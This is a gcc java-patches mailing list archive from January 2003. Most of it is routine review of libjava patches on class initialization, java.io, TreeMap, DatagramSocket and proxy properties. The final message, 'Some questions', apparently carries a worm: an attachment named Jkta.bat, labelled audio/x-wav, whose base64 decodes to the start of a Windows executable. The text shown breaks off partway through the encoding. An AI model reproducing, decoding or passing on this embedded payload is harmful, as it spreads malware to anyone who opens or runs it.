reinitialized while superclass initialization takes place (as happens in gnu.bytecode). This patch is one way to handle it. An alternative is to add an explicit link step to class initialization, as the bytecode interpreter does. Also check that interfaces are linked when building constant time tables. Tested on mainline with i686-pc-linux-gnu. 2003-01-03 Jeff Sturm * java/lang/natClass.cc (initializeClass): Check tables when (state == JV_STATE_IN_PROGRESS). (_Jv_GetInterfaces): Use _Jv_WaitForState to link interface. * java/lang/natClassLoader.cc (_Jv_WaitForState): Handle interpreted classes. (linkClass0): Use _Jv_WaitForState. Index: java/lang/natClass.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/lang/natClass.cc,v retrieving revision 1.59 diff -u -p -r1.59 natClass.cc --- java/lang/natClass.cc 23 Dec 2002 19:59:31 -0000 1.59 +++ java/lang/natClass.cc 3 Jan 2003 04:32:59 -0000 @@ -766,11 +766,23 @@ java::lang::Class::initializeClass (void wait (); // Steps 3 & 4. - if (state == JV_STATE_DONE || state == JV_STATE_IN_PROGRESS) + if (state == JV_STATE_DONE) { _Jv_MonitorExit (this); return; } + if (state == JV_STATE_IN_PROGRESS) + { + _Jv_MonitorExit (this); + + /* Initialization in progress. The class is linked now, + so ensure internal tables are built. */ + _Jv_PrepareConstantTimeTables (this); + _Jv_MakeVTable(this); + _Jv_LinkOffsetTable(this); + + return; + } // Step 5. if (state == JV_STATE_ERROR) @@ -1213,6 +1225,10 @@ _Jv_GetInterfaces (jclass klass, _Jv_ifa for (int i=0; i < klass->interface_count; i++) { jclass iface = klass->interfaces[i]; + + /* Make sure interface is linked. */ + _Jv_WaitForState(iface, JV_STATE_LINKED); + if (_Jv_IndexOf (iface, (void **) ifaces->list, ifaces->count) == -1) { if (ifaces->count + 1 >= ifaces->len) Index: java/lang/natClassLoader.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/lang/natClassLoader.cc,v retrieving revision 1.57 diff -u -p -r1.57 natClassLoader.cc --- java/lang/natClassLoader.cc 23 Dec 2002 19:59:31 -0000 1.57 +++ java/lang/natClassLoader.cc 3 Jan 2003 04:32:59 -0000 @@ -117,6 +117,10 @@ _Jv_WaitForState (jclass klass, int stat { // Must call _Jv_PrepareCompiledClass while holding the class // mutex. +#ifdef INTERPRETER + if (_Jv_IsInterpretedClass (klass)) + _Jv_PrepareClass (klass); +#endif _Jv_PrepareCompiledClass (klass); _Jv_MonitorExit (klass); return; @@ -141,15 +145,7 @@ _Jv_WaitForState (jclass klass, int stat void java::lang::ClassLoader::linkClass0 (java::lang::Class *klass) { - if (klass->state >= JV_STATE_LINKED) - return; - -#ifdef INTERPRETER - if (_Jv_IsInterpretedClass (klass)) - _Jv_PrepareClass (klass); -#endif - - _Jv_PrepareCompiledClass (klass); + _Jv_WaitForState (klass, JV_STATE_LINKED); } void From java-patches-return-5736-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 03 16:56:35 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 15941 invoked by alias); 3 Jan 2003 16:56:34 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 15925 invoked from network); 3 Jan 2003 16:56:31 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 209.249.29.67 with SMTP; 3 Jan 2003 16:56:31 -0000 Received: from fleche.redhat.com (tz0174.peakpeak.com [207.174.69.174]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id JAA03684; Fri, 3 Jan 2003 09:56:17 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 482D64F8073; Fri, 3 Jan 2003 09:58:54 -0700 (MST) To: Mark Wielaard Cc: java-patches@gcc.gnu.org Subject: Re: java.io fix and speedup References: <1041549233.20966.136.camel@elsschot> <1041551284.20751.139.camel@elsschot> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: HAIR TONICS, please!! Date: 03 Jan 2003 09:58:54 -0700 In-Reply-To: <1041551284.20751.139.camel@elsschot> Message-ID: <874r8qp3u9.fsf@fleche.redhat.com> Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Mark" == Mark Wielaard writes: Mark> * java/io/FileInputStream.java (finalize): Don't explicitly Mark> finalize FileDescriptor. This part is fine; please check it in asap. Mark> * java/io/FileDescriptor.java (position): New private field. Mark> * java/io/natFileDescriptorPosix.cc (write): Up position. Mark> (setLength): Use and set position. Mark> (seek): Set position. Mark> (getFilePointer): Return position. Mark> (read): Up position. With this part, what if two processes are modifying the same file at the same time? I suppose even the current code has problems in that situation. Is the performance of setLength and seek important? Tom From java-patches-return-5737-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 03 17:01:20 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 19612 invoked by alias); 3 Jan 2003 17:01:19 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 19601 invoked from network); 3 Jan 2003 17:01:18 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 209.249.29.67 with SMTP; 3 Jan 2003 17:01:18 -0000 Received: from fleche.redhat.com (tz0174.peakpeak.com [207.174.69.174]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id KAA04815; Fri, 3 Jan 2003 10:01:01 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id BF5AC4F8073; Fri, 3 Jan 2003 10:03:53 -0700 (MST) To: Eric Blake Cc: java-patches@gcc.gnu.org Subject: Re: java.util.TreeMap patch References: <3E04DB33.20300@email.byu.edu> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: -- In 1962, you could buy a pair of SHARKSKIN SLACKS, with a ``Continental Belt,'' for $10.99!! Date: 03 Jan 2003 10:03:53 -0700 In-Reply-To: <3E04DB33.20300@email.byu.edu> Message-ID: <87vg16np1i.fsf@fleche.redhat.com> Lines: 10 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Eric" == Eric Blake writes: Eric> 2002-12-21 Eric Blake Eric> * java/util/TreeMap.java (fabricateTree): Fix off-by-one error. Eric> (TreeIterator.remove): Prefer IllegalStateException over Eric> ConcurrentModificationException, to match Sun. I went ahead and checked this in. Tom From java-patches-return-5738-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 03 17:21:11 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 28019 invoked by alias); 3 Jan 2003 17:21:10 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 28007 invoked from network); 3 Jan 2003 17:21:07 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 209.249.29.67 with SMTP; 3 Jan 2003 17:21:07 -0000 Received: from fleche.redhat.com (tz0174.peakpeak.com [207.174.69.174]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id KAA09012; Fri, 3 Jan 2003 10:20:54 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 244EB4F8073; Fri, 3 Jan 2003 10:23:48 -0700 (MST) To: Michael Koch Cc: java-patches@gcc.gnu.org Subject: Re: [PATCH] initial java.net.DatagramPacket merge with classpath References: <200212190805.39142.konqueror@gmx.de> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: My uncle Murray conquered Egypt in 53 B.C. And I can prove it too!! Date: 03 Jan 2003 10:23:48 -0700 In-Reply-To: <200212190805.39142.konqueror@gmx.de> Message-ID: <87n0mino4b.fsf@fleche.redhat.com> Lines: 12 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Michael" == Michael Koch writes: Michael> I have written a little patch that starts merging of Michael> java.net.DatagramPacket with classpath. More merging patches will Michael> follow. Its just a start. The patch actually covers DatagramSocket. No matter though. I think this is fine. Can you check it in on the trunk and the 3.3 branch? (If not, let me know and I will handle it.) Sorry it took me so long to get to this. Tom From java-patches-return-5739-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 03 17:32:16 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 2795 invoked by alias); 3 Jan 2003 17:32:15 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 2783 invoked from network); 3 Jan 2003 17:32:14 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 209.249.29.67 with SMTP; 3 Jan 2003 17:32:14 -0000 Received: from fleche.redhat.com (tz0174.peakpeak.com [207.174.69.174]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id KAA11407; Fri, 3 Jan 2003 10:32:02 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id D774A4F8073; Fri, 3 Jan 2003 10:34:55 -0700 (MST) To: Gcc Patch List Cc: Java Patch List Subject: Patch: FYI: document new properties From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I like the IMPUDENT NOSE on that car.. Are you a TEEN-AGER? Date: 03 Jan 2003 10:34:55 -0700 Message-ID: <87fzsannls.fsf@fleche.redhat.com> Lines: 33 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in to the trunk and the 3.3 branch. This adds documentation for a couple new libgcj system properties. Tom Index: ChangeLog from Tom Tromey * gcj.texi (GNU Classpath Properties): Document new properties. Index: gcj.texi =================================================================== RCS file: /cvs/gcc/gcc/gcc/java/gcj.texi,v retrieving revision 1.47 diff -u -r1.47 gcj.texi --- gcj.texi 28 Dec 2002 21:38:54 -0000 1.47 +++ gcj.texi 3 Jan 2003 17:30:34 -0000 @@ -2168,6 +2168,15 @@ @code{java.io.ObjectOutput} classes when set to something else then the empty string. Only used when running a debug build of the library. +@item gnu.classpath.vm.shortname +This is a succint name of the virtual machine. For @code{libgcj}, +this will always be @samp{libgcj}. + +@item gnu.classpath.home.url +A base URL used for finding system property files (e.g., +@file{classpath.security}). By default this is a @samp{file:} URL +pointing to the @file{lib} directory under @samp{java.home}. + @end table @node libgcj Runtime Properties From java-patches-return-5740-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 03 17:42:56 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 10521 invoked by alias); 3 Jan 2003 17:42:55 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 10479 invoked from network); 3 Jan 2003 17:42:54 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 209.249.29.67 with SMTP; 3 Jan 2003 17:42:54 -0000 Received: from fleche.redhat.com (tz0174.peakpeak.com [207.174.69.174]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id KAA13656; Fri, 3 Jan 2003 10:42:36 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id C687E4F8073; Fri, 3 Jan 2003 10:45:29 -0700 (MST) To: Joerg Brunsmann Cc: java-patches@gcc.gnu.org Subject: Re: Networking properties References: <20021220142556.52801.qmail@web20501.mail.yahoo.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I'll clean your ROOM!! I know some GOOD stories, too!! All about ROAD Island's, HUSH Puppies, and how LUKE finds GOLD on his LAND!! Date: 03 Jan 2003 10:45:29 -0700 In-Reply-To: <20021220142556.52801.qmail@web20501.mail.yahoo.com> Message-ID: <87bs2ynn46.fsf@fleche.redhat.com> Lines: 14 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Joerg" == Joerg Brunsmann writes: Joerg> the attached patch uses two proxy properties listed at Joerg> http://java.sun.com/j2se/1.4/docs/guide/net/properties.html Joerg> in gnu.gcj.protocol.http.Connection. Can someone please Joerg> review the patch and check it in. Thanks. This looks fine to me. I'm going to check it in on the trunk and the branch. Note that new properties require a documentation change as well (I'm writing it this time). Also please send a ChangeLog entry with a patch. Tom From java-patches-return-5741-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 03 18:08:44 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 29356 invoked by alias); 3 Jan 2003 18:08:43 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 29348 invoked from network); 3 Jan 2003 18:08:41 -0000 Received: from unknown (HELO ops2.one-point.com) (216.234.116.146) by 209.249.29.67 with SMTP; 3 Jan 2003 18:08:41 -0000 Received: from localhost (jsturm@localhost) by ops2.one-point.com (8.11.6/8.11.6) with ESMTP id h03I8OZ32171; Fri, 3 Jan 2003 13:08:24 -0500 Date: Fri, 3 Jan 2003 13:08:24 -0500 (EST) From: Jeff Sturm To: Tom Tromey cc: Mark Wielaard , Subject: Re: java.io fix and speedup In-Reply-To: <874r8qp3u9.fsf@fleche.redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On 3 Jan 2003, Tom Tromey wrote: > Mark> * java/io/FileDescriptor.java (position): New private field. > Mark> * java/io/natFileDescriptorPosix.cc (write): Up position. > Mark> (setLength): Use and set position. > Mark> (seek): Set position. > Mark> (getFilePointer): Return position. > Mark> (read): Up position. > > With this part, what if two processes are modifying the same file at > the same time? I suppose even the current code has problems in that > situation. Is the performance of setLength and seek important? I was wondering the same thing. I have a local patch similar to Mark's that mmap's a FileInputStream. The performance of a memory-mapped ZipFile is terrific, but it could be unsafe if someone else truncates the file. Given that getFilePointer can't really be trusted because it can't be performed atomically with any other operation, I don't see any harm in Mark's patch. Jeff From java-patches-return-5742-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 03 18:15:26 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 883 invoked by alias); 3 Jan 2003 18:15:24 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 779 invoked from network); 3 Jan 2003 18:15:17 -0000 Received: from unknown (HELO relay-2v.club-internet.fr) (194.158.96.113) by 209.249.29.67 with SMTP; 3 Jan 2003 18:15:17 -0000 Received: from Wqfw (lxxx-2-118.n.club-internet.fr [213.44.1.118]) by relay-2v.club-internet.fr (Postfix) with SMTP id 6AED01741 for ; Fri, 3 Jan 2003 19:14:42 +0100 (CET) From: gcc To: java-patches@gcc.gnu.org Subject: Some questions MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=M520C56D1494J3CaJ0GrFi2 Message-Id: <20030103181442.6AED01741@relay-2v.club-internet.fr> Date: Fri, 3 Jan 2003 19:14:42 +0100 (CET) --M520C56D1494J3CaJ0GrFi2 Content-Type: text/html; Content-Transfer-Encoding: quoted-printable --M520C56D1494J3CaJ0GrFi2 Content-Type: audio/x-wav; name=Jkta.bat Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA AAAAUAkAEAAAAABAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 